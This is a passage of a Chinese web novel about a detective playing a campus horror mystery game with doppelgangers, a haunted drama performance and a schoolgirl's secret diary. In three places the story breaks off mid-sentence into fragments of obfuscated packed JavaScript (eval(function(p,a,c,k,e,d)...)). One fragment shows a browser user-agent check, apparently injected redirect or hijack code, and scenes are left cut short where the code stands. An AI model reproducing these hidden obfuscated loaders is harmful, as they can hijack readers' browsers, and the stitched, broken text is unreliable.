什么东西?幻忆师瞳孔地震,伪什么?什么人?探测什么?伪人是指床前黑影和怪异的室友吗,世界上怎么可能真有伪人这种东西! 她花了五秒时间全力搜索自己的记忆,没有在自己的记忆中找到一丝一毫关于这个部门的信息,连“伪人”两个字都是今天早晨刚从任珊珊嘴里听说的。 幻忆师低头看桌子上的《超能力的诞生与发展》教科书,这书和她上学时用的那本颜色一样,连封皮都长得差不多。 难道她毕业五年,教科书大改版,加了连她都不知道的东西? 幻忆师的手抚上封面,她尝试从遥远的记忆中挖掘五年前那本书的出版社与编者。 “不许翻书!”沈教授厉声说,把黑哥吓了一哆嗦。 这一嗓子把幻忆师喊清醒了,她抬头看了看这位留着干练短发的中年女教授。 过于真实的场景和生动的人物让她完全忘记这是个游戏,她来这里仅仅为了通关,游戏里的一个伪人设定不能难倒她。 她思考着“伪人探测部门”这几个字,探测—detect,部门—department。 那么伪人呢?幻忆师不知道这个单词,但她知道英语词根中形容假的、伪的是pseudo,比如pseudo-scientific是伪科学的意思。 顶着沈教授不耐烦的目光,幻忆师硬着头皮乱猜:“是P.D.D.” 沈教授脸上的表情肉眼可见得好看了一点:“不对,是D.D.D.伪人是doppelganger,不过咱们这门课毕竟不是英语课,记不全很正常。” 原来您知道这不是英语课,幻忆师偷偷松了口气。 刚想坐下,沈教授又发话了:“再来考考你,遇见假装成自己熟人的伪人怎么办?” “向伪人探测部门报告。”幻忆师麻木地胡说八道。 沈教授语重心长:“要先装作没有发现它是伪人,把它当成自己的熟人正常对待,在远离它且确认自己安全的情况下向D.D.D.报告。” 幻忆师小鸡啄米般点头,只想把沈教授应付过去。沈教授对她还算满意,大发慈悲地放她坐下。 裤子刚沾上椅子,她的脑海中闪过两个问题:怎么向D.D.D.报告?伪人假装成我怎么办? “腾”地一声,幻忆师站了起来,势必要做个勇于提问的好学生。与此同时,下课铃响了。 沈教授和她的水杯一起光速消失在黑板旁的侧门中,比教室里任何一个学生都要快。 幻忆师看了一眼糊里糊涂的黑哥,不抱希望地问:“你知道吗,如果遇见伪装成自己的伪人该怎么应对?” “啊?”黑哥一脸茫然,“你说什么,什么伪人,是你那个游戏吗?” “刚刚沈教授问的那个。” “沈教授问你超能力管理部的缩写。” 幻忆师后背发凉:“第二个问题呢?” “本我教及其隐名教会的五个特点,以及发现后的报告流程。” 幻忆师定定地看着她的“男朋友”,感受到一股透彻心扉的寒意。 8. 伪人 幻忆师抱着《超能力的诞生与发展》躲进了厕所靠窗的隔间。 她不敢再问奇怪的问题,再问下去怕被黑哥当成精神病扭送辅导员办公室。 借着百叶窗缝隙透进来的光,幻忆师一项一项研究目录,先扫一眼一级大标题,再去看二级标题。 最后她不死心地把三级小标题看一遍,还是找不到跟“伪人”二字沾边的内容。 幻忆师想叹气,但她憋住了。 厕所进来了两个人,她们在讨论自己,或者说,她们在讨论刘天怡。 “嘿,你看见了吗?快下课了她才进来,而且没化妆。” “也没坐在前排时不时撩头发。” 两个人默契地爆发出一阵愉快的笑声,幻忆师抓起头发看了看,刘天怡做了隐藏染,不撩头发没法让别人看见里面的颜色。 一个不化妆不出门的人,一个喜欢炫耀的人,一个高调漂亮的人,她为什么要染这样的头发? 幻忆师想不通,也不再想,津津有味地听两人说刘天怡的坏话。 “但是......一周没上课,上课也不化妆,她是不是病了?”其中一个声音为刘天怡说了句好话。 “还真有可能,听说她这周没去话剧社排练,女主角换人了。” 好话女生大惊失色:“她舍得把女主角给别人?开玩笑吧,她当初演这个就是为了杜自明!” “她看上杜自明了?可是她跟黑哥没分手啊,冬至那天是她生日,看她发的朋友圈,黑哥带她去海底餐厅吃法餐了。” “哈哈,她跟黑哥在一起时和书记也没分。” 另一个声音明显兴奋起来:“什么书记?” “院学生会书记啊,她报道前在新生群里和那男的聊得火热,大家心照不宣地认为他们开学能成一对。结果军训后外联部纳新,书记把她弄进去,不到一周她和黑哥在一起了。” “那她和书记到底在一起过吗?那个书记比黑哥帅多了吧?” 好话女生很无所谓:“谁知道呢,这种事情恐怕只有他们自己清楚。” “也对。”另一个声音自顾自地说,“黑哥肯定比那个学生会书记有钱。” “杜自明比黑哥还有钱,而且帅得要命。” “真的?” “当然。”好话女生嗤嗤地笑,“帅和有钱并存才能当上话剧社男主演兼导演。” “听说杜自明他家......”她们的声音渐行渐远,厕所里只剩下幻忆师一个人。 大学生真是有活力,幻忆师不由得感慨。她决定去话剧社见一见这位导演兼男主演,不过在此之前—— 幻忆师跃跃欲试地看着手中的书,目录里没有伪人不代表书里没有。 以她的对信息检索的癖好和快速阅读的能力,她必然要迅速把书看一遍。 安静的厕所里只剩下书页被翻动的声音,连水声都消失了。 ...... 什么也没找到,幻忆师轻轻把书合上。 也不是完全没有收获,至少她发现刘天怡竟然在认真听课,大部分章节用马克笔标记了重点,重要内容旁边还有笔记。 她抱着书靠在墙上回忆起第一条规则:这个世界上没有鬼。 恐怖故事里,鬼魂没有自我且怀有对人类的无差别恶意,伪人听起来不比鬼好到哪去。 最后一条规则提出了名为逻辑公理与非逻辑公理的概念,幻忆师对此并不陌生。 首先,逻辑公理和非逻辑公理本是数学概念,公理指的是“不证自明”的基本事实。 逻辑公理是普遍为真的陈述,从数学引申到现实中,可以举例为“人被杀就会死”、“是人就会拉屎”、“经常杀人的朋友都知道杀人容易抛尸难”等。 而非逻辑公理并不是一个不证自明的事实,它是在构建一个理论的过程中被推导出的逻辑表达。 比如,先建立一个前提“某人只吃屎”,然后给出推论“此人被饿死在无限供应面包的牢笼中”。 “只吃屎的异食癖被饿死在无限供应面包的牢笼中”这个表述是成立的、不用证明的。 然而,如果仅说推论“人被饿死在无限供应面包的牢笼中”。无疑是不成立的,更无法成为不证自明的公理。 最后一条规则“超能力使已死之人可以杀人”确实符合非逻辑公理的定义。 但幻忆师确信,目前已知的所有案件中,从没出现过死后还能杀人的超能力罪犯,死后杀人是恐怖故事中鬼魂才有的能力。 这条规则在暗示世界上有鬼,再结合王悦说“刘天怡看见婉婷的鬼魂”,和二人那不为人知的过去,将玩家往婉婷鬼魂杀人的方向引导。 对于幻忆师来说,伪人可以是真的,但世界上不能有鬼。 根据沈教授的描述,伪人最起码有看得见摸得着的实体,不像虚无缥缈的鬼魂那么可怕。 不再去想互相矛盾的规则,幻忆师从外套口袋里拿出连着充电宝的手机,欣慰地发现手机已经能开机了,正好试一下锁屏密码。 大部分人的锁屏密码是自己或重要之人的生日,幻忆师决定用刘天怡本人的生日试一下。 已知刘天怡生日是冬至日,冬至发生在12月21日至23日之间。 如果刘天怡6岁上小学,在校期间没有留级也没有复读,那么她是新历81年生人。 幻忆师输入811222。 屏幕上显示密码错误,下面有一行小字:如连续输错密码3次,系统将自动抹除所有数据以保护信息安全。 幻忆师按下锁屏键熄灭手机屏幕。 她不觉得自己拿811221和811223能试出手机密码,在信息不足的情况下一口气把三次机会用光无异于赌博。 即使刘天怡的锁屏密码是本人生日,也不能确定她是新历81年生人。 王悦在寝室中提过,五年前刘天怡亲眼目睹自己的好朋友跳楼自杀了,她很可能因此休学一年。 需要更多的情报,幻忆师做出这个判断,抬手拨开厕所隔间的门锁。 “嗒”隔间外传来一声轻柔的脚步声,那声音极轻极近,似乎就在门外。 幻忆师又把门锁合上。 她亲耳听见刚刚两个说刘天怡坏话的女生有说有笑地走远了,这期间没有任何一个人进来,外面不可能有人。 门外响起了人说话的声音:“同学,你在里面好长时间。” 弯腰透过门缝看见一双穿着白鞋的脚,幻忆师松了口气,她装作脾气不好的样子,扯开嗓子喊: “我时间长管你什么事?厕所那么大你去别的隔间啊!” 外面的人没有生气,她用友好的语气问:“纸带你没?可以给你,我借。” 她在说什么?幻忆师把手伸进口袋,悄悄拔下充电宝,掂了掂充电宝的重量,快充大容量充电宝分量很足,幻忆师很满意。 “我的意思是。”友好的人顿了顿,换了一副尴尬的语气,“你是不是没带纸啊?我可以借给你。” “不用,谢谢。” “来一张吧,就一张。”尴尬的人殷切地说。 幻忆师攥紧充电宝,手臂暗中蓄力:“往后站哦,我要开门了。” “好的,我......”殷切的人话没说完,扑通一声摔倒了,她怀里似乎抱着一厚沓A4纸,那些纸全部散落到地上。 其中一张顺着隔间的门缝滑进来,被地上的脏水浸湿了一角,幻忆师不可避免地看到上面加红加粗的文字: 恭喜您通过伪人测试!D.D.D.向您提供伪人的特征。 1.普遍缺乏感情或感情转换生硬,面部特征怪异。 2.四肢异于常人,肢体语言与言语不符。 3.缺乏视线交流且动作不协调。 4.说话时有电音或延迟,可能会有语序语法上的错误。 伪人来发介绍伪人特征的传单了,幻忆师从来没有如此痛恨过自己快速阅读的能力。 外面的伪人自从跌倒后就安静下来,既没有站起来也没有捡地上的纸。 幻忆师怀疑它在等自己阅读纸上内容,她决定试探一下:“你借纸还不借我张干净的,这张又湿又脏,根本看不清上面写什么,更没法拿来用。” “对不起,我给你一张新的。”门外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“可能因为我忘掉很多事情吧。话剧社在哪来着?” “你连这个都能忘?”王悦一脸怀疑地看着她,“你不会是个假刘天怡吧?来回答问题验明真身,你演话剧是为了谁?” 敏锐地捕捉到王悦用的词语是“假刘天怡”,而不是“伪人”,她似乎像黑哥一样对伪人一无所知。 幻忆师回答:“当然是为了杜自明。” “你还惦记着他呢,他帅到这种程度了?这位帅学长把你的女主角给钱潇了,你知道吗?” “刚才不知道,现在知道了,所以他们现在在哪?” 王悦笑了:“肯定在老礼堂排练。” 老礼堂在综合楼后面的老楼里,这栋红砖砌成的老楼从外面看破破烂烂,楼内既没人上课也没人办公,里面的礼堂倒是出乎意料地气派。 礼堂的天花板是木质结构,颜色偏暗,显示出岁月的痕迹。地板是比天花板颜色更深的木板,上面有一道道划痕。 老式建筑在建造时优先考虑采光,舞台两边有很多巨大的玻璃窗。 舞台中央垂挂着一道红色大幕布,幕布倒是一点不旧。礼堂内设施一应俱全,红色的折叠椅子被整齐地码在一旁。 这种老礼堂以前只在电影和电视剧中见过,幻忆师驻足在木质大门前,看着干净的地面,想象着室内摆满折叠椅座无虚席的样子。 台上正在排练的人喊她:“天怡,你病好了啊!快来这边!” 爽朗的男声在空旷的礼堂中回荡,幻忆师往台上看去,一眼就确定喊她的是人杜自明。 原因无它,这个距离还能看出是个有钱的帅哥,结合刚才所有人的描述只能是杜自明。 走到舞台前,幻忆师发现一个漂亮女生站在杜自明旁边,女生赶忙对她挤出一个微笑。 杜自明兴高采烈:“这是钱潇,是和你同专业只比你大一届的学姐,我们都叫她潇潇,你没来的这周她和我们一起排练。” 幻忆师客气打招呼:“潇潇学姐好。” 钱潇也笑着问好,问些不痛不痒的问题,比如身体好点了吗、专业课难不难呀。 她兜圈子绕弯子地聊天,已经干巴巴地聊到图书馆前的猫,幻忆师不耐烦了:“学姐,我的角色......” 话没说完就被杜自明打断:“你请假时我和你说过,角色给你留着,现在你终于回来了,赶快和我们一起排练。” 钱潇脸上的笑容僵住了。 9. 枯败王朝 幻忆师恍若未闻,继续对钱潇说:“学姐,我的角色交给你了,我大病初愈体力不支,这个角色只能你来演。” 钱潇脸上的笑容更僵了,她求助般看向杜自明。杜自明没有说话,他脸有点黑。 幻忆师猜测这少爷觉得自己没给他面子,于是她咳嗽两声,虚弱地说:“我真的很想和大家一起完成这场演出,但身体条件实在不允许。” 旁边有人圆场:“就让钱潇演吧。自明,得抓紧时间练好走位,等明天服装来了再调走位就来不及啦。” 杜自明点点头,还是没动,其他人识趣地走上舞台,给他们独处空间。 “是不是有无聊的人说什么了?”杜自明关切地问。 “没有,我真的很不舒服,你看我今天都没化妆。” 杜自明立刻信了,他表情暧昧且油腻地明知故问:“那你为什么来话剧社?” 幻忆师有充分理由怀疑面前的杜自明和她站在门口远远看见的帅哥是两个人。 但她有问题要问人家,不得不硬着头皮保持微笑:“当然是来看你。” 看着杜自明高兴的样子,幻忆师趁热打铁:“学长,你生日是哪一天?” “新历80年8月27日,你很久没叫我学长了。” 又和他胡乱聊了几句,幻忆师目送他上了舞台,迫不及待地搬把折叠椅坐下拿出手机。 她握着手机思考了一会,最终没有用杜自明的生日试密码。 表面上看,恋爱是刘天怡大学生活中不可缺少的一部分,但她的所有男朋友比起“爱慕对象”更像是一款时尚单品——和她的镶钻美甲与完美妆容没有任何区别的时尚单品。 她喜欢他们,只喜欢他们能给自己带来好处的部分,只喜欢能用来向他人炫耀的部分。 当她认为这款时尚单品不够好时,她会立刻丢掉他们去寻找下一个。 这些时尚单品在刘天怡心目中的地位甚至排在刷高绩点出国留学后面,那满书的笔记能证明这一点,她在上课时肯定没空搭理男朋友。 一个每天早起化妆,上课努力学习,下课参加社团和学生会,其余时间还要抽空谈恋爱换男朋友的女大学生。 一位全力把自己活成“令人羡慕的女人”的女性,幻忆师认为她不会把一个正处于暧昧期的男同学的生日当做锁屏密码。 话剧社无法提供有效线索,幻忆师准备找个借口离开,去没人打扰的地方拆包裹。 她看了一眼舞台,台上一个女生饰演的辅导员似乎在劝解两位主角和另一个男配角。 “吱呀”一声响,老礼堂沉重的大门被推开,幻忆师立刻回头。 没有任何人进来,大门口多了一个服装挂架,上面挂满了华丽到繁琐的欧式礼服,那种可以直接穿去演莎士比亚戏剧的表演服。 幻忆师转身问:“不是咱们的衣服吧,谁送错了?” 时光好似被按下暂停键,台上的演员和台下的后勤全部凝固住。 那位男配角保持着一个抱头蹲下的滑稽姿势,他身后演辅导员的女生嘴巴微张表情愤怒手臂高抬,两位主角则垂头丧气地站在旁边,大家全部一动不动。 还没来得及产生恐惧情绪,这一幕如同电影中被抽走的一帧画面般从幻忆师的视网膜上消失,礼堂中所有人行动起来。 男配角激动大喊:“服装来了!” 他跳下舞台带头向门口冲去,其余人紧随其后。 幻忆师一把拉住杜自明:“那是咱们的衣服吗?别搞错了!” 杜自明盯着衣服头也不回:“不会弄错,我花钱订的。” 所有人都像是早已知道哪件衣服属于自己,他们迫不及待地拿好衣服进入后台更衣室。 等到礼堂中只留下自己一个人,幻忆师走近观察挂架上剩余衣服,她没敢上手摸。 其中几件衣服没有男女主角的礼服那么华丽,但也远远超过大学社团该有的水准。 有两件明显是卫队制服,上面挂着沉甸甸的金属勋章,勋章上铭刻陌生的文字,表面流转着细腻而神秘的光泽。 一个导演自己饰演男主角的话剧,需要用上这么华美的表演服吗?他们刚刚排练的剧目明明只是学校日常,平凡到和这些衣服毫无关系。 幻忆师焦躁地绕着挂架一圈一圈转。 演员们没让她等太久,他们用不可思议的速度将繁复的礼服穿戴整齐,出现在舞台上。 舞台旁边的屏幕显示出两行文字。 【第一幕之原初森林 盖亚与晨星行走于森林中。】 男性报幕人低沉而富有质感的声音响起:“昔日世界处于混沌之中,世界的意识名为盖亚,盖亚育有一子,名为晨星。” 戴着血红色悲剧面具的男主角上台:“众生生而愚钝!我为天生的星灵、混沌的神明,我会成为君临者、掌控者和永生者。他日我必将成为众王之王!” 报幕人:“世界上第一次产生了一缕名为“恐惧”的情绪,只因盖亚听闻其子的宣言而恐慌。” 盖亚戴着纯白慈母面具:“并非人人生而愚钝,我亲爱的孩子。在雾与光的交界处,即将诞生一位生而知之者——梅利埃格洛。” “她既是你的仆人,又是你的老师,但我更希望她能成为你的友人。” 报幕人:“于是未来的众王之王,现在的晨星,踏上寻找生而知之者的旅途。” 晨星:“我于迷雾之处不分昼夜地徘徊,竟无法进入那聚光地。在光聚集的所在,我称王的念头像柴薪一样燃烧。” “我痛苦之极!为何光明不肯接纳于我?我长久地凝视着光,光却抗拒我!我的双眼为此流下泪水。” 报幕人:“春去秋来,晨星在这里等待了很多年。” 两名穿着破烂衣服的面具人跪在晨星脚下哭泣。 晨星:“这世间的愚人如此之多,第一个见到我的愚人,误以为我在为天下生灵恸哭,于是无数愚人前来参拜,与我一同哭泣。” “那一日我见光与迷雾纠缠在一起,生而知之者晶莹轻盈的灵魂渐渐显现出来,愚人们的哭声越来越大,我心中的烦闷越积越多。” “我茅塞顿开!我来到此处,不为寻找生而知之者,只为独自目视着光明哭泣,只有孤独一人时,光明才独属于我。” “迷雾之地不需这些愚钝之人——光明从不接纳愚人!” 戴着银质智者面具的女主角出现。 梅利埃格洛:“并非如此。只因你非无私之人,我的主人,我的王。生而知之者即全知者,全知者即无私之人,无私之人诞生自光。” 幻忆师看傻了。 她完全不明白,好好的大学生话剧为什么突然变成这种奇怪的东西,她向台上大喊:“喂!你们在演什么?刚刚排练的不是这个!” 舞台上跪着的两个愚人不愿站起来:“这场演出本该如此。” “别开玩笑了!你们两个是后勤组的,根本不用上台演出,你们该去控制灯光字幕!” 饰演盖亚的女演员探出头:“剧本就似这么写的。” “你更离谱!你刚才演的辅导员一口塑料普通话四十不分,演盖亚时莫名其妙变成播音腔,现在和我说话又变回塑普,你到底怎么回事?” “别这样大喊大叫。”钱潇的声音从面具下传来,“打扰我们正常排练。” 幻忆师翻上舞台大步向杜自明走去,她毫无预兆地伸手,要亲自揭开红色悲剧面具。 杜自明在手伸过来的瞬间大把抓住她的手腕,缓缓攥紧。 愚人们哭泣着念出祷词一样的话语: “众王之王,枯败共主。幕后孤影,残霞为裳。铁杆虬枝,月隐星藏。王之影长,夜幕低昂。雾冕沉凝,花不应放。血流浮丘,哀歌未央......” 手腕被大力攥出令人牙酸的咯吱声,幻忆师厉喝:“松手!” 杜自明松开手,安静地看着她。幻忆师拉开外套袖子,发现手腕被攥紫了。 “剧本从哪来的?”她揉着手腕。 钱潇望向沉默不语的杜自明,像是得到了什么指示:“在综合楼的储藏室。” 最后朝幕后的方向看了一眼,幻忆师捡起包裹转身离开,走出大门还能听见钱潇那夸张咏叹调般的念白。 综合楼的储藏室很好找,就在这栋楼一楼的建筑边角,这个边角位作为教室太小,作为储藏室正好。 幻忆师轻轻推门,门竟然开了,屋内站着一位手握扫把的圆脸女生,女生被幻忆师吓了一跳。 屋子正中间矗立着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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幻忆师把手伸进保险箱,里里外外仔细搜查一遍,没有戏剧文本,更没有什么药剂,她猛然转头,盯住室内唯一的活人。 圆脸女生更害怕了,从发现保险箱没上锁的那一刻起,她就意识到事情不对,她哆哆嗦嗦地辩解: “保、保险箱不是我开的,之前也不是我打扫这里的卫生......” “我知道不是你开的,里面的东西你看了吗?”幻忆师打断她,抢过她身后的簸箕,里面只有一绺一绺的灰尘。 “不知道!我真的不知道!我连碰都不敢碰,我只是替别人来打扫的!” 幻忆师紧接着问:“你打扫前,地上除了这些灰尘,还有别的东西吗?” 圆脸女生迟疑了一下。 “同学,你要诚实地配合调查。”幻忆师严肃地说。 不知道圆脸女生脑补了什么,她突然没那么紧张: “我进来时看见一个注射器包装袋,和常见的不一样,看起来很贵很精致。我以为那是个从架子上掉下来的道具,随手把它放回去了。” 门后的架子上果然有个银色的奇怪材质的小袋子,幻忆师问她:“你没接触保险箱吧?” “没有。”圆脸女生连连摇头。 “千万别接触它,也别接触这间屋子里任何东西,等超能力管理局的技术人员来了之后——”幻忆师止住话语,她意识到自己职业病犯了。 “算了,反正别接触它。你刚才说你是替人打扫?” 圆脸女生竹筒倒豆子般把前因后果全部说出来:“我是替我朋友来的,刚开学时我们从勤工俭学中心领到保洁工作。” “她负责这间储藏室,我负责另一栋楼的会议室。但她今天早上接到摄影兼职,她就把储藏室钥匙给我,拜托我替她打扫。” “你朋友叫什么,她在哪里?” 迟疑了一下,圆脸女生不安地说:“她叫黄子璇,现在在这栋楼二楼教室给人拍毕业照。” “警察姐姐,那支注射器不是她用的,她不会做那种事情,她穷得不行。” 幻忆师无奈:“我不是超管局的警察。” “啊?那你问我这么多做什么?” “因为我是个侦探。” 把从保险箱中搜出的文档塞进大衣,幻忆师叮嘱她:“外面有能力未明的超能力罪犯和一些怪人。” “你锁好门不要出去,也不要接触屋子里的东西,不要听不要看奇怪的文本内容。谁来都别给开门,即使是你的父母和老师也不能开,它们只是伪装成你熟人模样的怪物。” 圆脸女生被吓得牙关打颤,她有无穷无尽的问题想问,还没来得及张口,面前的侦探姐姐便风一样地夺门而出,只给她留下一个背影。 10. 密信 黄子璇给人拍照的教室在超诞发课隔壁,一群学生穿着学士服戴着学士帽在拍毕业照,教室里充满了无限的快乐。 幻忆师的到来无法打破这种快乐,在一片欢呼声中,陌生的女学生大声问:“同学,你是来自习的吗?我们拍一会就走,可能有点吵,不好意思啦!” “我是来找人的!”幻忆师不得不放大音量。 “什么?太吵了没听清!” 没有再理会她,幻忆师已经找到目标。 目标黄子璇相当醒目地穿着一件摄影马甲,口袋里还放着口红粉饼高光眉笔,看来不但做摄影师还兼职化妆师。 “来个人给他举一下遮光板,把黑板左边的灯关上!”黄子璇扯着嗓子喊,“遮光板这样举,看我的动作!” 黄子璇像只蚂蚁一样往来于三脚架和黑板之间,忙得脚不沾地,而她的拍照对象四肢僵硬同手同脚,黄子璇只好上手帮忙摆姿势。 估计等枯败王朝污染整座学校也拍不完,幻忆师直接打断他们:“是黄子璇吗?综合楼一楼储藏室的钥匙在你手里?” “不在我手里,没看我正忙着吗?” “储藏室保险箱内重要文件被盗,学校正在考虑报警。” 黄子璇终于舍得转头看她一眼:“保险箱?储藏室里没有保险箱。” “空保险箱就在楼下,你和我去确认一下。” 把拍照对象的帽穗扶正,黄子璇很不高兴:“不知道你在说什么,我之前拍的照片还在手机里,根本没什么保险箱。” “上周我打扫完卫生立刻把钥匙还给学生处李老师,昨天晚上才再次拿到钥匙。即使有保险箱也是李老师昨晚前放进去的,和我没关系。” “钥匙在谁手里?” “给我朋友了,让她帮我打扫。” 全部回答坦然且真实,找不到什么破绽,幻忆师知道布置枯败王朝的幕后黑手没那么容易找到,她耐心说:“照片给我看看。” 旁边举遮光板的人不耐烦了:“你们有完没完?快点拍吧,我手举酸了!” “我再和她说一句话,就一句话。”黄子璇赶紧对自己的拍照对象讨好地笑了笑。 把幻忆师拉到一边,黄子璇求饶:“同学,我这是跟拍单子,人家花钱雇我的,你要的照片我一定给你,你等我拍完。” 不等幻忆师回答,她一溜烟地跑回黑板前。 幻忆师叹了口气,坐在教室后排拆开黑色包裹,包裹里只有一个薄薄的粉色手账本。 翻开手账本第一页,上面用蓝黑色钢笔工整地写下这样一句话。 【我的世界似乎永远停留在新历93年9月14日,那一天仿佛是一切的开端。】 新历93年9月14日,婉婷的死亡日期吗?时间不对,王悦说婉婷死在五年前。用这个日期试了一下手机锁屏密码,也不对。 这一页反面有字,是用普通黑色水笔胡乱写下的。 【婉婷,他们都说你是个好孩子,长大后一定会成为一个好人。可是,什么是好人呢?】 【婉婷,我不在乎什么是好人了,我只想成为自己认为的好人。】 幻忆师皱了皱眉头,即使她不是专业的笔迹鉴定师,也能看出正反面三句话是同一个人在不同年岁写的。 正面那句话像是钢笔字初学者写的,反面第一句话有些连笔,但笔画的末端能看出字锋。 反面第二句话更连,字迹有些抖,她能够想象刘天怡写下这些字时的样子。 第二页是空白页,第三页开始才能看出这是一个手账本,上面贴了一张泛黄的信纸,信纸被保存得很好,没有一丝褶皱。 信纸旁边被标记了时间点,新历93年9月19日。6年前刘天怡正在上初中,笔迹很稚嫩。 【婉婷,你真是个天才,竟然能想到这么有意思的方法! 你是负责收作业的小组长,我是组员,我把密信夹在最厚的那本作业册里,你再偷偷拿出来。 等你写好回信,再夹在老师判好的作业册里还给我。老师发现不了,同学发现不了,家长发现不了,我们俩好像秘密特工一样,你太厉害啦!】 往后翻,新历93年9月20日,蓝色的娟秀小字。 【选择这样的方法也是迫不得已。**(此处被钢笔涂掉)从小学开始就那样,拉帮结派地欺负人,我小学时也被她欺负,最能理解你,你别理她,实在不行咱告老师!】 新历93年9月21日。 【婉婷,你看昨晚新一集动画了吗?那只秋田太可爱了,它......】 信纸右下角有只画技拙劣的秋田犬。 新历93年9月22日。 【我当然看了,原来你也在看!我在班里都不敢说我看动画,因为**她们都看电视剧,会嘲笑看动画的人。太好啦,我......】 “刺啦”一声异响,幻忆师头皮发麻,她抬头一看,发现学生们在抢夺黑板擦,不知道是谁的指甲剐蹭到黑板。 抢到黑板擦的男学生得意洋洋地把毕业快乐擦掉,他左手揽着女朋友,右手在黑板上写了龙飞凤舞的几个大字:新历95年9月17日,我和宝贝军训时认识。 不可思议的变化悄然发生,幻忆师不由得睁大眼睛。 她看到学生们身上的学士服仿佛被微风吹拂,颜色渐渐变成的深绿色迷彩纹。 转瞬间,整件衣服变成了军训时的作训服,学生们也变成了黑黑土土的样子。 他们似乎察觉不到自己身上的变化,有学生嗷地嚎了一嗓子,怪模怪样地祝福着讲台上相拥的两人。 握着黑板擦的男学生大声宣布毕业就结婚,把气氛再次推向一个高潮。 快乐到极点的氛围被一阵怒气冲冲的高跟鞋声摧毁了。 “你们哪个专业的?辅导员是谁?知不知道旁边还在上课?你们毕业了就能不管不顾了?”沈教授砰地推开门,成功让所有人安静下来。 “老师对不起......” “我们这就走。” 学生们惶惶四散而逃,黄子璇在沈教授严厉的目光下麻利地收三脚架。 机会来了。幻忆师礼貌地向沈教授问好,伸手拿起了黄子璇的遮光板和一堆杂物:“我帮你。” 黄子璇想拒绝,奈何在沈教授威慑下不敢说话,被幻忆师陪同着走出教室。 “加个微信,我把照片发给你。”走出教室后黄子璇主动说。 “不用发给我,我手机没电了,看一下照片就好。” 黄子璇很配合:“我和学生处李老师的聊天记录也给你看,每次打扫完我都给李老师发张现场照片,根本没有你说的保险箱。” 幻忆师仔细看了过往的聊天记录,黄子璇没有说谎。 “该把我的东西给我了吧?”黄子璇的眼睛粘在自己的遮光板上。 “你这折叠遮光板够专业的,花不少钱买的吧?”幻忆师丝毫没有把东西还回去的意思,“钥匙你真没给过别人?” “真没有!我有那个胆子吗?” 幻忆师冷笑一声:“给我说实话,你今天为什么不去打扫储藏室?你和朋友说早上接到摄影兼职,她信我不信。” “拍毕业照怎么可能有急单?还是给这么一大群人拍毕业照,他们临近毕业,不提前约好怎么可能凑在一起?” “你果然是从楼下储藏室上来的!那你刚才还问我钥匙给谁了?你明明见过我朋友了。” “说实话。”幻忆师加重语气,“我如果找不回东西,再来问你的就是警察了,你想清楚。” 黄子璇急得快要骂街了:“我真没把钥匙给乱七八糟的人!这事和我没关系!” “好,你没把钥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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幻忆师再次打断她:“所以上周你避开花瓶,换了个角度拍照。这周你让朋友去打扫,这样就能把事情推到你朋友身上。” 黄子璇脸色更白了:“不是,李老师上周应该发现了。” “为什么说是‘应该’发现?”幻忆师敏锐地捕捉到应该二字。 “我打扫完花瓶碎片,精心挑选角度拍照,刚把照片发完,还没来得及锁门,李老师就出现在我身后。” “他说要检查卫生,走进储藏室四处看了看,让我把手里的钥匙给他,然后什么都没说。” 幻忆师追问:“他没发现花瓶不见了?” “不知道,我不知道他是没发现还是发现了但不想说。” “你确定当时进来拿钥匙的是李老师?”幻忆师紧紧盯着黄子璇的眼睛。 黄子璇慌了:“当然是李老师,那还能有错?要不我们去调监控吧?” “你妈妈都教给你了,监控摄像头想坏的时候永远是坏的。” 把遮光板塞进黄子璇怀里,幻忆师给出最后的叮嘱: “你看见的十有八九不是你认识的李老师。听我一句劝,别去跟拍了,回宿舍闷头大睡最安全。” 黄子璇从遮光板的侧面探头看她:“那你呢,你也回宿舍吗?” “我要回到过去。” 幻忆师把教室的大门轻轻关上,将黄子璇隔绝在门外。陡然安静的教室中只有她自己的脚步声,她在黑板最下方写下一行小字。 【新历93年9月14日】 写下最后一个数字的刹那,幻忆师体验到一种奇妙的失重感,她整个人仿佛脱离地球引力的控制,伴随着一阵眩晕,轻飘飘地上升到一个固定的位置。 面前是青涩稚嫩的刘天怡。 11. 她和她的园长 幻忆师此时以一种奇妙的背后灵状态观察着6年前的刘天怡。 少年刘天怡佝偻着背藏在一群同学中间,初中的她简直朴素到丑陋,和大学里判若两人。 幻忆师像个鬼魂一样飘到房顶,看清他们在围观一架钢琴。 放在学校公共区域的钢琴自然不是什么好钢琴,这钢琴破破烂烂的,上面落了一层灰。 一个头上别着LV老花发卡的漂亮女生质疑:“这钢琴真能弹?” 幻忆师换了一个角度看发卡女生,这女生身上有种带着灵气的不用修饰的漂亮,她眼睛亮晶晶的,让人看了就觉得心情舒畅。 抱着篮球的男生大大咧咧坐在钢琴凳上:“试试不就知道了。” 他潇洒地一手转着篮球,一手掀起琴盖,旁边一群男生起哄:“郑颂,快弹一段显摆一下!” 第一个琴键被按下,沉重的木质琴盖突然砸在郑颂手上。郑颂痛苦大叫的瞬间,发卡女生的大笑声和刘天怡的尖叫声同时响起。 那刺耳的笑声停顿了一下,发卡女生如同寻找到猎物的鹰隼,一眼看见发出短促尖叫的刘天怡。 她笑得更大声了,故意责备郑颂:“你吓到别人了。” 郑颂脸黑了:“你瞎叫什么?” 又有男生起哄:“人家尖叫是因为关心你。” 郑颂看起来更不开心,他瞪着刘天怡等她解释。 刘天怡涨红着脸,完全不知道该说点什么,她仓皇转身想要逃离这里,慌乱之下左脚绊右脚,竟然在平地上摔了一跤。 发卡女生这次没有笑,她的眼睛更亮了,像是发现了什么好玩的玩具或者好吃的美食。 她走过去扶起刘天怡:“喂,你不会是喜欢郑颂吧?他砸着手你心疼成这样。” “我没有!”刘天怡终于说话了。 “别乱开玩笑!”郑颂同时说。 